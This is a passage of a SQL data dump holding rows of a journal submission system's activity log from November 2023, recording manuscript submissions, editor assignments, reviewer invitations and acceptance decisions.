09:22:21','Publisher has been Accepted Articles  article',14112,'',1050),(130724,'2023-11-06 09:32:01','Manuscript Submitted by Publisher',14249,'Publisher',1009),(130725,'2023-11-06 09:34:29','Manuscript Submitted by Publisher',14250,'Publisher',1009),(130726,'2023-11-06 09:37:21','Manuscript Submitted by Publisher',14251,'Publisher',1009),(130727,'2023-11-06 09:39:59','Manuscript Submitted by Publisher',14252,'Publisher',1009),(130728,'2023-11-06 09:41:50','Manuscript Submitted by Publisher',14253,'Publisher',1009),(130729,'2023-11-06 09:43:29','Manuscript Submitted by Publisher',14254,'Publisher',1009),(130730,'2023-11-06 09:45:26','Manuscript Submitted by Publisher',14255,'Publisher',1009),(130731,'2023-11-06 09:47:39','Manuscript Submitted by Publisher',14256,'Publisher',1009),(130732,'2023-11-06 09:49:26','Manuscript Submitted by Publisher',14257,'Publisher',1009),(130733,'2023-11-06 09:52:43','Manuscript Submitted by Publisher',14258,'Publisher',1009),(130734,'2023-11-06 09:53:55','Publisher has been Assigned Editor',14212,'Publisher',972),(130735,'2023-11-06 09:54:29','Publisher has been Assigned Editor',14210,'Publisher',972),(130736,'2023-11-06 09:54:56','Publisher has been Assigned Editor',14208,'Publisher',972),(130737,'2023-11-06 09:55:14','Publisher has been Assigned Editor',14205,'Publisher',972),(130738,'2023-11-06 09:55:34','Publisher has been Assigned Editor',14197,'Publisher',972),(130739,'2023-11-06 09:56:02','Publisher has been Assigned Editor',14211,'Publisher',972),(130740,'2023-11-06 09:56:24','Publisher has been Assigned Editor',14209,'Publisher',972),(130741,'2023-11-06 09:56:40','Publisher has been Assigned Editor',14207,'Publisher',972),(130742,'2023-11-06 09:57:00','Publisher has been Assigned Editor',14202,'Publisher',972),(130743,'2023-11-06 09:57:15','Publisher has been Assigned Editor',14196,'Publisher',972),(130744,'2023-11-06 12:09:28','Manuscript Submitted by Author',14259,'Author',11659),(130745,'2023-11-06 12:16:59','Publisher has been Assigned Editor',14247,'Publisher',248),(130746,'2023-11-06 12:17:14','Publisher has been Assigned Editor',14246,'Publisher',248),(130747,'2023-11-06 12:17:25','Publisher has been Assigned Editor',14245,'Publisher',248),(130748,'2023-11-06 14:14:56','Manuscript Submitted by Publisher',14260,'Publisher',645),(130749,'2023-11-06 14:19:17','Manuscript Submitted by Publisher',14261,'Publisher',645),(130750,'2023-11-06 14:22:25','Manuscript Submitted by Publisher',14262,'Publisher',645),(130751,'2023-11-06 14:28:42','Manuscript Submitted by Publisher',14263,'Publisher',645),(130752,'2023-11-06 14:31:02','Manuscript Submitted by Publisher',14264,'Publisher',645),(130753,'2023-11-06 14:34:51','Manuscript Submitted by Publisher',14265,'Publisher',645),(130754,'2023-11-06 14:37:11','Manuscript Submitted by Publisher',14266,'Publisher',645),(130755,'2023-11-06 14:39:56','Manuscript Submitted by Publisher',14267,'Publisher',645),(130756,'2023-11-06 14:43:53','Manuscript Submitted by Publisher',14268,'Publisher',645),(130757,'2023-11-06 14:46:02','Manuscript Submitted by Publisher',14269,'Publisher',645),(130758,'2023-11-07 10:36:34','Publisher has been Assigned Editor',14269,'Publisher',645),(130759,'2023-11-07 10:37:27','Publisher has been Assigned Editor',14268,'Publisher',645),(130760,'2023-11-07 10:37:47','Publisher has been Assigned Editor',14267,'Publisher',645),(130761,'2023-11-07 10:38:10','Publisher has been Assigned Editor',14266,'Publisher',645),(130762,'2023-11-07 10:38:25','Publisher has been Assigned Editor',14265,'Publisher',645),(130763,'2023-11-07 10:38:43','Publisher has been Assigned Editor',14264,'Publisher',645),(130764,'2023-11-07 10:38:59','Publisher has been Assigned Editor',14263,'Publisher',645),(130765,'2023-11-07 10:39:16','Publisher has been Assigned Editor',14262,'Publisher',645),(130766,'2023-11-07 10:39:30','Publisher has been Assigned Editor',14261,'Publisher',645),(130767,'2023-11-07 10:39:45','Publisher has been Assigned Editor',14260,'Publisher',645),(130768,'2023-11-07 11:17:15','Publisher has been Assigned Editor',14258,'Publisher',1009),(130769,'2023-11-07 11:17:30','Publisher has been Assigned Editor',14257,'Publisher',1009),(130770,'2023-11-07 11:25:33','Publisher has been Assigned Editor',14256,'Publisher',1009),(130771,'2023-11-07 11:25:47','Publisher has been Assigned Editor',14255,'Publisher',1009),(130772,'2023-11-07 11:26:02','Publisher has been Assigned Editor',14254,'Publisher',1009),(130773,'2023-11-07 11:26:14','Publisher has been Assigned Editor',14253,'Publisher',1009),(130774,'2023-11-07 11:26:31','Publisher has been Assigned Editor',14252,'Publisher',1009),(130775,'2023-11-07 11:26:44','Publisher has been Assigned Editor',14251,'Publisher',1009),(130776,'2023-11-07 11:27:06','Publisher has been Assigned Editor',14250,'Publisher',1009),(130777,'2023-11-07 11:27:21','Publisher has been Assigned Editor',14249,'Publisher',1009),(130778,'2023-11-07 13:48:03','Publisher has been Assigned Editor',14248,'Publisher',48),(130779,'2023-11-07 13:48:43','Publisher has Invited Reviewer',14248,'Publisher',48),(130780,'2023-11-07 13:48:48','Publisher has Invited Reviewer',14248,'Publisher',48),(130781,'2023-11-07 13:48:53','Publisher has Invited Reviewer',14248,'Publisher',48),(130782,'2023-11-07 15:08:30','Manuscript Submitted by Publisher',14270,'Publisher',248),(130783,'2023-11-07 15:10:22','Manuscript Submitted by Publisher',14271,'Publisher',248),(130784,'2023-11-07 15:11:59','Manuscript Submitted by Publisher',14272,'Publisher',248),(130785,'2023-11-07 15:13:26','Manuscript Submitted by Publisher',14273,'Publisher',248),(130786,'2023-11-07 15:14:46','Manuscript Submitted by Publisher',14274,'Publisher',248),(130787,'2023-11-07 15:16:01','Manuscript Submitted by Publisher',14275,'Publisher',248),(130788,'2023-11-07 15:17:52','Manuscript Submitted by Publisher',14276,'Publisher',248),(130789,'2023-11-07 15:18:48','Manuscript Submitted by Publisher',14277,'Publisher',248),(130790,'2023-11-07 15:19:22','Publisher has Invited Reviewer',14096,'Publisher',48),(130791,'2023-11-07 15:19:27','Publisher has Invited Reviewer',14096,'Publisher',48),(130792,'2023-11-07 15:19:32','Publisher has Invited Reviewer',14096,'Publisher',48),(130793,'2023-11-07 15:20:00','Manuscript Submitted by Publisher',14278,'Publisher',248),(130794,'2023-11-07 15:21:28','Manuscript Submitted by Publisher',14279,'Publisher',248),(130795,'2023-11-07 15:22:23','Manuscript Submitted by Publisher',14280,'Publisher',248),(130796,'2023-11-07 15:23:20','Manuscript Submitted by Publisher',14281,'Publisher',248),(130797,'2023-11-07 15:24:16','Manuscript Submitted by Publisher',14282,'Publisher',248),(130798,'2023-11-07 15:38:27','Publisher has been Accepted Articles  article',13984,'Publisher',673),(130799,'2023-11-07 15:39:49','Publisher has been Accepted Articles  article',13491,'Publisher',673),(130800,'2023-11-07 15:40:31','Publisher has been Accepted Articles  article',13490,'Publisher',673),(130801,'2023-11-07 15:41:15','Publisher has been Accepted Articles  article',13489,'Publisher',673),(130802,'2023-11-07 15:41:59','Publisher has been Accepted Articles  article',13483,'Publisher',673),(130803,'2023-11-08 09:43:17','Publisher has been Assigned Editor',14195,'Publisher',84),(130804,'2023-11-08 10:11:49','Publisher has been Assigned Editor',14193,'Publisher',84),(130805,'2023-11-08 10:14:12','Publisher has been Assigned Editor',14192,'Publisher',84),(130806,'2023-11-08 10:17:22','Publisher has been Assigned Editor',14191,'Publisher',84),(130807,'2023-11-08 10:20:45','Publisher has been Assigned Editor',14190,'Publisher',84),(130808,'2023-11-08 10:23:09','Publisher has been Assigned Editor',14189,'Publisher',84),(130809,'2023-11-08 10:24:46','Publisher has been Assigned Editor',14188,'Publisher',84),(130810,'2023-11-08 10:26:21','Publisher has been Assigned Editor',14187,'Publisher',84),(130811,'2023-11-08 10:29:26','Publisher has been Assigned Editor',14185,'Publisher',84),(130812,'2023-11-08 10:32:52','Publisher has been Assigned Editor',14155,'Publisher',84),(130813,'2023-11-08 10:35:03','Publisher has been Assigned Editor',14153,'Publisher',84),(130814,'2023-11-08 10:41:51','Publisher has been Assigned Editor',14152,'Publisher',84),(130815,'2023-11-08 10:43:31','Publisher has been Assigned Editor',14149,'Publisher',84),(130816,'2023-11-08 10:53:20','Publisher has been Assigned Editor',14148,'Publisher',84),(130817,'2023-11-08 10:55:42','Publisher has been Assigned Editor',14146,'Publisher',84),(130818,'2023-11-08 10:57:18','Publisher has been Assigned Editor',14144,'Publisher',84),(130819,'2023-11-08 10:59:01','Publisher has been Assigned Editor',14142,'Publisher',84),(130820,'2023-11-08 11:00:40','Publisher has been Assigned Editor',14136,'Publisher',84),(130821,'2023-11-08 11:48:43','Publisher has been Assigned Editor',14165,'Publisher',994),(130822,'2023-11-08 11:58:40','Publisher has been Assigned Editor',14223,'Publisher',994),(130823,'2023-11-08 12:04:56','Publisher has been Assigned Editor',14222,'Publisher',994),(130824,'2023-11-08 12:06:25','Publisher has been Assigned Editor',14221,'Publisher',994),(130825,'2023-11-08 12:08:39','Publisher has been Assigned Editor',14220,'Publisher',994),(130826,'2023-11-08 12:11:19','Publisher has been Assigned Editor',14219,'Publisher',994),(130827,'2023-11-08 12:14:22','Publisher has been Assigned Editor',14218,'Publisher',994),(130828,'2023-11-08 12:16:44','Publisher has been Assigned Editor',14217,'Publisher',994),(130829,'2023-11-08 12:19:47','Publisher has been Assigned Editor',14216,'Publisher',994),(130830,'2023-11-08 12:21:33','Publisher has been Assigned Editor',14215,'Publisher',994),(130831,'2023-11-08 12:25:17','Publisher has been Assigned Editor',14214,'Publisher',994),(130832,'2023-11-08 12:28:25','Publisher has been Assigned Editor',14213,'Publisher',994),(130833,'2023-11-08 12:29:51','Publisher has been Assigned Editor',14180,'Publisher',994),(130834,'2023-11-08 12:31:45','Publisher has been Assigned Editor',14178,'Publisher',994),(130835,'2023-11-08 12:33:33','Publisher has been Assigned Editor',14176,'Publisher',994),(130836,'2023-11-08 12:34:44','Publisher has been Assigned Editor',0,'Publisher',319),(130837,'2023-11-08 12:36:32','Publisher has been Assigned Editor',14175,'Publisher',994),(130838,'2023-11-08 12:39:13','Publisher has been Assigned Editor',14173,'Publisher',994),(130839,'2023-11-08 12:44:01','Publisher has been Assigned Editor',14171,'Publisher',994),(130840,'2023-11-08 12:48:23','Publisher has been Assigned Editor',14170,'Publisher',994),(130841,'2023-11-08 12:50:24','Publisher has been Assigned Editor',14169,'Publisher',994),(130842,'2023-11-08 12:52:08','Publisher has been Assigned Editor',14167,'Publisher',994),(130843,'2023-11-09 10:00:59','Manuscript Submitted by Publisher',14283,'Publisher',319),(130844,'2023-11-09 15:36:46','Manuscript Submitted by Author using Submission form',14284,'Author',14340),(130845,'2023-11-09 17:00:17','Publisher has been Assigned Editor',14283,'Publisher',319),(130846,'2023-11-09 22:14:53','Manuscript Submitted by Author using Submission form',14285,'Author',14341),(130847,'2023-11-10 10:36:58','Publisher has been Assigned Editor',14284,'Publisher',85),(130848,'2023-11-10 10:40:09','Publisher has Invited Reviewer',14284,'Publisher',85),(130849,'2023-11-10 10:40:25','Publisher has Invited Reviewer',14284,'Publisher',85),(130850,'2023-11-10 10:40:45','Publisher has Invited Reviewer',14284,'Publisher',85),(130851,'2023-11-10 10:40:55','Publisher has Invited Reviewer',14284,'Publisher',85),(130852,'2023-11-10 10:41:02','Publisher has Invited Reviewer',14284,'Publisher',85),(130853,'2023-11-10 15:46:07','Publisher has been Assigned Editor',14110,'Publisher',376),(130854,'2023-11-13 13:15:40','Publisher has Invited Reviewer',14284,'Publisher',85),(130855,'2023-11-13 13:15:48','Publisher has Invited Reviewer',14284,'Publisher',85),(130856,'2023-11-13 13:16:02','Publisher has Invited Reviewer',14284,'Publisher',85),(130857,'2023-11-13 13:16:07','Publisher has Invited Reviewer',14284,'Publisher',85),(130858,'2023-11-13 13:16:15','Publisher has Invited Reviewer',14284,'Publisher',85),(130859,'2023-11-13 14:17:25','Editor has been Editor Decision Accepted article',14032,'Editor',1749),(130860,'2023-11-13 14:18:00','Editor has been Editor Decision Accepted article',14033,'Editor',1749),(130861,'2023-11-13 14:21:27','Editor has been Editor Decision Accepted article',14033,'Editor',1749),(130862,'2023-11-13 14:22:35','Editor has been Revise (Notify Author) article',14035,'Editor',1749),(130863,'2023-11-13 14:22:54','Editor has Accepted to review Manuscript',14251,'Editor',1749),(130864,'2023-11-13 14:23:00','Editor has Accepted to review Manuscript',14255,'Editor',1749),(130865,'2023-11-13 14:23:06','Editor has Accepted to review Manuscript',14257,'Editor',1749),(130866,'2023-11-13 14:24:15','Editor has Invited Reviewer',14251,'Editor',1749),(130867,'2023-11-13 14:26:10','Editor has Invited Reviewer',14251,'Editor',1749),(130868,'2023-11-13 14:26:16','Editor has Invited Reviewer',14251,'Editor',1749),(130869,'2023-11-13 14:26:40','Editor has Invited Reviewer',14251,'Editor',1749),(130870,'2023-11-13 14:28:03','Editor has Invited Reviewer',14251,'Editor',1749),(130871,'2023-11-13 14:28:10','Editor has Invited Reviewer',14251,'Editor',1749),(130872,'2023-11-13 14:28:15','Editor has Invited Reviewer',14251,'Editor',1749),(130873,'2023-11-13 14:29:06','Editor has Invited Reviewer',14255,'Editor',1749),(130874,'2023-11-13 14:29:37','Editor has Invited Reviewer',14255,'Editor',1749),(130875,'2023-11-13 14:29:44','Editor has Invited Reviewer',14255,'Editor',1749),(130876,'2023-11-13 14:29:51','Editor has Invited Reviewer',14255,'Editor',1749),(130877,'2023-11-13 14:30:23','Editor has Invited Reviewer',14255,'Editor',1749),(130878,'2023-11-13 14:30:30','Editor has Invited Reviewer',14255,'Editor',1749),(130879,'2023-11-13 14:30:38','Editor has Invited Reviewer',14255,'Editor',1749),(130880,'2023-11-13 14:30:46','Editor has Invited Reviewer',14255,'Editor',1749),(130881,'2023-11-13 14:30:51','Editor has Invited Reviewer',14255,'Editor',1749),(130882,'2023-11-13 14:32:08','Editor has Invited Reviewer',14257,'Editor',1749),(130883,'2023-11-13 14:32:16','Editor has Invited Reviewer',14257,'Editor',1749),(130884,'2023-11-13 14:32:22','Editor has Invited Reviewer',14257,'Editor',1749),(130885,'2023-11-13 14:32:29','Editor has Invited Reviewer',14257,'Editor',1749),(130886,'2023-11-13 14:32:36','Editor has Invited Reviewer',14257,'Editor',1749),(130887,'2023-11-13 14:32:41','Editor has Invited Reviewer',14257,'Editor',1749),(130888,'2023-11-13 14:32:46','Editor has Invited Reviewer',14257,'Editor',1749),(130889,'2023-11-13 14:32:54','Editor has Invited Reviewer',14257,'Editor',1749),(130890,'2023-11-13 14:33:01','Editor has Invited Reviewer',14257,'Editor',1749),(130891,'2023-11-13 14:33:06','Editor has Invited Reviewer',14257,'Editor',1749),(130892,'2023-11-13 14:35:53','Editor has Invited Reviewer',14039,'Editor',1749),(130893,'2023-11-13 14:35:57','Editor has Invited Reviewer',14039,'Editor',1749),(130894,'2023-11-13 14:36:02','Editor has Invited Reviewer',14039,'Editor',1749),(130895,'2023-11-13 14:36:07','Editor has Invited Reviewer',14039,'Editor',1749),(130896,'2023-11-13 14:36:11','Editor has Invited Reviewer',14039,'Editor',1749),(130897,'2023-11-13 14:37:27','Editor has Invited Reviewer',14034,'Editor',1749),(130898,'2023-11-13 14:37:32','Editor has Invited Reviewer',14034,'Editor',1749),(130899,'2023-11-13 14:37:37','Editor has Invited Reviewer',14034,'Editor',1749),(130900,'2023-11-13 14:37:41','Editor has Invited Reviewer',14034,'Editor',1749),(130901,'2023-11-13 14:37:49','Editor has Invited Reviewer',14034,'Editor',1749),(130902,'2023-11-13 14:37:57','Editor has Invited Reviewer',14034,'Editor',1749),(130903,'2023-11-13 14:38:04','Editor has Invited Reviewer',14034,'Editor',1749),(130904,'2023-11-13 14:39:15','Editor has Invited Reviewer',14036,'Editor',1749),(130905,'2023-11-13 14:39:22','Editor has Invited Reviewer',14036,'Editor',1749),(130906,'2023-11-13 14:39:26','Editor has Invited Reviewer',14036,'Editor',1749),(130907,'2023-11-13 14:39:31','Editor has Invited Reviewer',14036,'Editor',1749),(130908,'2023-11-13 14:39:36','Editor has Invited Reviewer',14036,'Editor',1749),(130909,'2023-11-13 14:39:41','Editor has Invited Reviewer',14036,'Editor',1749),(130910,'2023-11-13 14:39:48','Editor has Invited Reviewer',14036,'Editor',1749),(130911,'2023-11-13 14:40:46','Editor has Invited Reviewer',14038,'Editor',1749),(130912,'2023-11-13 14:40:51','Editor has Invited Reviewer',14038,'Editor',1749),(130913,'2023-11-13 14:40:56','Editor has Invited Reviewer',14038,'Editor',1749),(130914,'2023-11-13 14:43:21','Editor has Invited Reviewer',14037,'Editor',1749),(130915,'2023-11-13 14:43:28','Editor has Invited Reviewer',14037,'Editor',1749),(130916,'2023-11-13 14:43:36','Editor has Invited Reviewer',14037,'Editor',1749),(130917,'2023-11-13 14:43:41','Editor has Invited Reviewer',14037,'Editor',1749),(130918,'2023-11-13 14:43:46','Editor has Invited Reviewer',14037,'Editor',1749),(130919,'2023-11-13 14:43:51','Editor has Invited Reviewer',14037,'Editor',1749),(130920,'2023-11-13 14:43:55','Editor has Invited Reviewer',14037,'Editor',1749),(130921,'2023-11-13 14:44:03','Editor has Invited Reviewer',14037,'Editor',1749),(130922,'2023-11-13 14:44:10','Editor has Invited Reviewer',14037,'Editor',1749),(130923,'2023-11-13 14:44:15','Editor has Invited Reviewer',14037,'Editor',1749),(130924,'2023-11-13 14:45:19','Editor has Invited Reviewer',14040,'Editor',1749),(130925,'2023-11-13 14:45:24','Editor has Invited Reviewer',14040,'Editor',1749),(130926,'2023-11-13 14:45:32','Editor has Invited Reviewer',14040,'Editor',1749),(130927,'2023-11-13 14:45:37','Editor has Invited Reviewer',14040,'Editor',1749),(130928,'2023-11-13 14:45:45','Editor has Invited Reviewer',14040,'Editor',1749),(130929,'2023-11-13 14:45:53','Editor has Invited Reviewer',14040,'Editor',1749),(130930,'2023-11-13 14:46:02','Editor has Invited Reviewer',14040,'Editor',1749),(130931,'2023-11-13 14:46:10','Editor has Invited Reviewer',14040,'Editor',1749),(130932,'2023-11-13 14:48:25','Publisher has been Accepted Articles  article',2051,'',1498),(130933,'2023-11-13 15:09:21','Publisher has been Accepted Articles  article',3874,'',1494),(130934,'2023-11-13 15:15:29','Publisher has been Accepted Articles  article',6851,'',1494),(130935,'2023-11-13 15:22:30','Publisher has been Accepted Articles  article',8807,'',1494),(130936,'2023-11-13 15:30:00','Publisher has been Accepted Articles  article',12398,'',1503),(130937,'2023-11-13 15:36:20','Publisher has been Accepted Articles  article',6824,'',1492),(130938,'2023-11-13 16:48:49','Publisher has been Assigned Editor',14285,'Publisher',376),(130939,'2023-11-14 10:19:34','Publisher has Invited Reviewer',14284,'Publisher',85),(130940,'2023-11-14 10:19:39','Publisher has Invited Reviewer',14284,'Publisher',85),(130941,'2023-11-14 10:19:47','Publisher has Invited Reviewer',14284,'Publisher',85),(130942,'2023-11-14 10:19:51','Publisher has Invited Reviewer',14284,'Publisher',85),(130943,'2023-11-14 10:19:56','Publisher has Invited Reviewer',14284,'Publisher',85),(130944,'2023-11-14 15:09:15','Manuscript Submitted by Author using Submission form',14286,'Author',14342),(130945,'2023-11-14 15:11:16','Manuscript Submitted by Author using Submission form',14287,'Author',14343),(130946,'2023-11-14 15:13:14','Manuscript Submitted by Author using Submission form',14288,'Author',14344),(130947,'2023-11-14 15:15:16','Manuscript Submitted by Author using Submission form',14289,'Author',14345),(130948,'2023-11-14 15:17:13','Manuscript Submitted by Author using Submission form',14290,'Author',14346),(130949,'2023-11-14 15:32:05','Manuscript Submitted by Author using Submission form',14291,'Author',14347),(130950,'2023-11-14 15:37:32','Manuscript Submitted by Author using Submission form',14292,'Author',14348),(130951,'2023-11-14 15:41:48','Manuscript Submitted by Author using Submission form',14293,'Author',14349),(130952,'2023-11-14 15:43:41','Manuscript Submitted by Author using Submission form',14294,'Author',14350),(130953,'2023-11-14 15:46:23','Manuscript Submitted by Author using Submission form',14295,'Author',14351),(130954,'2023-11-14 17:38:04','Editor has Accepted to review Manuscript',13960,'Editor',1452),(130955,'2023-11-14 17:38:57','Editor has Invited Reviewer',13960,'Editor',1452),(130956,'2023-11-14 17:39:01','Editor has Invited Reviewer',13960,'Editor',1452),(130957,'2023-11-14 18:28:12','Editor has Accepted to review Manuscript',14284,'Editor',1408),(130958,'2023-11-14 18:28:52','Editor has Invited Reviewer',14284,'Editor',1408),(130959,'2023-11-14 18:29:03','Editor has Invited Reviewer',14284,'Editor',1408),(130960,'2023-11-14 18:29:12','Editor has Invited Reviewer',14284,'Editor',1408),(130961,'2023-11-14 18:29:20','Editor has Invited Reviewer',14284,'Editor',1408),(130962,'2023-11-14 18:29:30','Editor has Invited Reviewer',14284,'Editor',1408),(130963,'2023-11-14 20:49:55','Manuscript Submitted by Author using Submission form',14296,'Author',14352),(130964,'2023-11-15 11:05:20','Publisher has Invited Reviewer',14284,'Publisher',85),(130965,'2023-11-15 11:05:25','Publisher has Invited Reviewer',14284,'Publisher',85),(130966,'2023-11-15 11:05:30','Publisher has Invited Reviewer',14284,'Publisher',85),(130967,'2023-11-15 11:05:34','Publisher has Invited Reviewer',14284,'Publisher',85),(130968,'2023-11-15 11:05:39','Publisher has Invited Reviewer',14284,'Publisher',85),(130969,'2023-11-15 11:30:35','Manuscript Submitted by Publisher',14297,'Publisher',1009),(130970,'2023-11-15 11:32:51','Manuscript Submitted by Publisher',14298,'Publisher',1009),(130971,'2023-11-15 11:34:46','Manuscript Submitted by Publisher',14299,'Publisher',1009),(130972,'2023-11-15 11:37:53','Manuscript Submitted by Publisher',14300,'Publisher',1009),(130973,'2023-11-15 11:40:04','Manuscript Submitted by Publisher',14301,'Publisher',1009),(130974,'2023-11-15 11:41:33','Manuscript Submitted by Publisher',14302,'Publisher',1009),(130975,'2023-11-15 11:43:10','Editor has been Editor Decision Accepted article',13960,'Editor',1452),(130976,'2023-11-15 11:43:44','Manuscript Submitted by Publisher',14303,'Publisher',1009),(130977,'2023-11-15 11:44:05','Editor has been Editor Decision Accepted article',13960,'Editor',1452),(130978,'2023-11-15 11:46:44','Manuscript Submitted by Publisher',14304,'Publisher',1009),(130979,'2023-11-15 11:50:04','Manuscript Submitted by Publisher',14305,'Publisher',1009),(130980,'2023-11-15 11:52:13','Manuscript Submitted by Publisher',14306,'Publisher',1009),(130981,'2023-11-16 09:28:28','Publisher has been Assigned Editor',14306,'Publisher',1009),(130982,'2023-11-16 09:28:43','Publisher has been Assigned Editor',14305,'Publisher',1009),(130983,'2023-11-16 09:28:57','Publisher has been Assigned Editor',14304,'Publisher',1009),(130984,'2023-11-16 09:29:09','Publisher has been Assigned Editor',14303,'Publisher',1009),(130985,'2023-11-16 09:29:22','Publisher has been Assigned Editor',14302,'Publisher',1009),(130986,'2023-11-16 09:29:36','Publisher has been Assigned Editor',14301,'Publisher',1009),(130987,'2023-11-16 09:29:49','Publisher has been Assigned Editor',14300,'Publisher',1009),(130988,'2023-11-16 09:30:08','Publisher has been Assigned Editor',14299,'Publisher',1009),(130989,'2023-11-16 09:30:21','Publisher has been Assigned Editor',14298,'Publisher',1009),(130990,'2023-11-16 09:30:37','Publisher has been Assigned Editor',14297,'Publisher',1009),(130991,'2023-11-16 12:15:23','Publisher has Invited Reviewer',14059,'Publisher',988),(130992,'2023-11-16 12:24:24','Editor has Accepted to review Manuscript',14059,'Editor',1783),(130993,'2023-11-16 12:24:40','Editor has been Editor Decision Accepted article',14059,'Editor',1783),(130994,'2023-11-16 12:26:24','Editor has Invited Reviewer',14081,'Publisher',988),(130995,'2023-11-16 12:31:03','Editor has Accepted to review Manuscript',14081,'Editor',1783),(130996,'2023-11-16 12:31:22','Editor has been Editor Decision Accepted article',14081,'Editor',1783),(130997,'2023-11-17 10:07:18','Publisher has been Assigned Editor',14296,'Publisher',48),(130998,'2023-11-17 10:10:40','Reviewer has submitted comments',14284,'Reviewer',16786),(130999,'2023-11-17 10:17:52','Manuscript Submitted by Publisher',14307,'Publisher',48),(131000,'2023-11-17 11:14:54','Manuscript Submitted by Author using Submission form',14308,'Author',14364),(131001,'2023-11-17 20:07:48','Manuscript Submitted by Author using Submission form',14309,'Author',14365),(131002,'2023-11-18 09:26:27','Publisher has been Assigned Editor',14259,'Publisher',972),(131003,'2023-11-18 13:13:06','Publisher : Notified Editor',14284,'Publisher',85),(131004,'2023-11-21 10:40:52','Editor has been Editor Decision Accepted article',14284,'Editor',1408),(131005,'2023-11-21 10:46:46','Publisher: Accept Notification has been sent to Author',14284,'Publisher',85),(131006,'2023-11-21 14:12:24','Publisher has been Assigned Editor',14282,'Publisher',248),(131007,'2023-11-21 14:12:38','Publisher has been Assigned Editor',14281,'Publisher',248),(131008,'2023-11-21 14:12:51','Publisher has been Assigned Editor',14280,'Publisher',248),(131009,'2023-11-21 14:13:03','Publisher has been Assigned Editor',14279,'Publisher',248),(131010,'2023-11-21 14:13:15','Publisher has been Assigned Editor',14278,'Publisher',248),(131011,'2023-11-21 14:18:07','Publisher has been Assigned Editor',14277,'Publisher',248),(131012,'2023-11-21 14:18:19','Publisher has been Assigned Editor',14276,'Publisher',248),(131013,'2023-11-21 14:18:49','Publisher has been Assigned Editor',14275,'Publisher',248),(131014,'2023-11-21 14:19:10','Publisher has been Assigned Editor',14274,'Publisher',248),(131015,'2023-11-21 14:19:24','Publisher has been Assigned Editor',14273,'Publisher',248),(131016,'2023-11-21 17:00:40','Publisher has been Assigned Editor',14307,'Publisher',48),(131017,'2023-11-21 17:13:59','Publisher has Invited Reviewer',14296,'Publisher',48),(131018,'2023-11-21 17:14:04','Publisher has Invited Reviewer',14296,'Publisher',48),(131019,'2023-11-21 17:15:03','Publisher has Invited Reviewer',14307,'Publisher',48),(131020,'2023-11-21 17:15:08','Publisher has Invited Reviewer',14307,'Publisher',48),(131021,'2023-11-21 17:15:12','Publisher has Invited Reviewer',14307,'Publisher',48),(131022,'2023-11-22 14:15:00','Manuscript Submitted by Publisher',14310,'Publisher',48),(131023,'2023-11-22 14:52:33','Publisher has been Assigned Editor',14309,'Publisher',85),(131024,'2023-11-22 18:28:40','Manuscript Updated',14284,'Publisher',85),(131025,'2023-11-22 18:29:12','Publisher has been Accepted Articles  article',14284,'Publisher',85),(131026,'2023-11-22 18:29:24','Manuscript Updated',14284,'Publisher',85),(131027,'2023-11-23 12:53:29','Manuscript Submitted by Publisher',14311,'Publisher',376),(131028,'2023-11-23 12:56:51','Manuscript Submitted by Publisher',14312,'Publisher',376),(131029,'2023-11-23 13:01:03','Manuscript Submitted by Publisher',14313,'Publisher',376),(131030,'2023-11-23 13:03:09','Manuscript Submitted by Publisher',14314,'Publisher',376),(131031,'2023-11-23 13:05:26','Manuscript Submitted by Publisher',14315,'Publisher',376),(131032,'2023-11-23 13:07:38','Manuscript Submitted by Publisher',14316,'Publisher',376),(131033,'2023-11-23 13:09:42','Manuscript Submitted by Publisher',14317,'Publisher',376),(131034,'2023-11-23 13:12:27','Manuscript Submitted by Publisher',14318,'Publisher',376),(131035,'2023-11-24 13:01:00','Publisher has Invited Reviewer',14309,'Publisher',85),(131036,'2023-11-24 13:01:04','Publisher has Invited Reviewer',14309,'Publisher',85),(131037,'2023-11-24 13:01:09','Publisher has Invited Reviewer',14309,'Publisher',85),(131038,'2023-11-24 13:01:14','Publisher has Invited Reviewer',14309,'Publisher',85),(131039,'2023-11-24 13:01:19','Publisher has Invited Reviewer',14309,'Publisher',85),(131040,'2023-11-24 16:35:33','Publisher has been Assigned Editor',14310,'Publisher',48),(131041,'2023-11-24 17:59:36','Manuscript Submitted by Publisher',14319,'',1212),(131042,'2023-11-25 10:21:34','Publisher has Invited Reviewer',14309,'Publisher',85),(131043,'2023-11-25 10:21:39','Publisher has Invited Reviewer',14309,'Publisher',85),(131044,'2023-11-25 10:21:45','Publisher has Invited Reviewer',14309,'Publisher',85),(131045,'2023-11-25 10:22:26','Publisher has Invited Reviewer',14309,'Publisher',85),(131046,'2023-11-25 10:22:31','Publisher has Invited Reviewer',14309,'Publisher',85),(131047,'2023-11-25 11:46:04','Manuscript Submitted by Publisher',14320,'',1050),(131048,'2023-11-27 09:34:31','Publisher has been Assigned Editor',14320,'',1050),(131049,'2023-11-27 10:42:18','Publisher has Invited Reviewer',14309,'Publisher',85),(131050,'2023-11-27 10:42:23','Publisher has Invited Reviewer',14309,'Publisher',85),(131051,'2023-11-27 10:42:27','Publisher has Invited Reviewer',14309,'Publisher',85),(131052,'2023-11-27 10:42:32','Publisher has Invited Reviewer',14309,'Publisher',85),(131053,'2023-11-27 10:42:37','Publisher has Invited Reviewer',14309,'Publisher',85),(131054,'2023-11-27 11:36:09','Reviewer has submitted comments',14096,'Reviewer',11714),(131055,'2023-11-27 11:37:00','Editor has Accepted to review Manuscript',14096,'Editor',192),(131056,'2023-11-27 11:37:09','Editor has been Editor Decision Accepted article',14096,'Editor',192),(131057,'2023-11-27 11:37:09','Editor has been Editor Decision Accepted article',14096,'Editor',192),(131058,'2023-11-27 11:37:48','Publisher has been Accepted Articles  article',14096,'Publisher',48),(131059,'2023-11-27 17:02:12','Manuscript Submitted by Publisher',14321,'Publisher',988),(131060,'2023-11-27 17:05:01','Manuscript Submitted by Publisher',14322,'Publisher',988),(131061,'2023-11-27 17:10:01','Manuscript Submitted by Publisher',14323,'Publisher',988),(131062,'2023-11-27 17:11:21','Manuscript Submitted by Publisher',14324,'Publisher',988),(131063,'2023-11-27 17:14:55','Manuscript Submitted by Publisher',14325,'Publisher',988),(131064,'2023-11-27 17:15:43','Manuscript Submitted by Publisher',14326,'Publisher',988),(131065,'2023-11-27 17:20:43','Manuscript Submitted by Publisher',14327,'Publisher',988),(131066,'2023-11-27 17:22:45','Manuscript Submitted by Publisher',14328,'Publisher',988),(131067,'2023-11-27 17:27:18','Manuscript Submitted by Publisher',14329,'Publisher',988),(131068,'2023-11-27 17:28:24','Manuscript Submitted by Publisher',14330,'Publisher',988),(131069,'2023-11-27 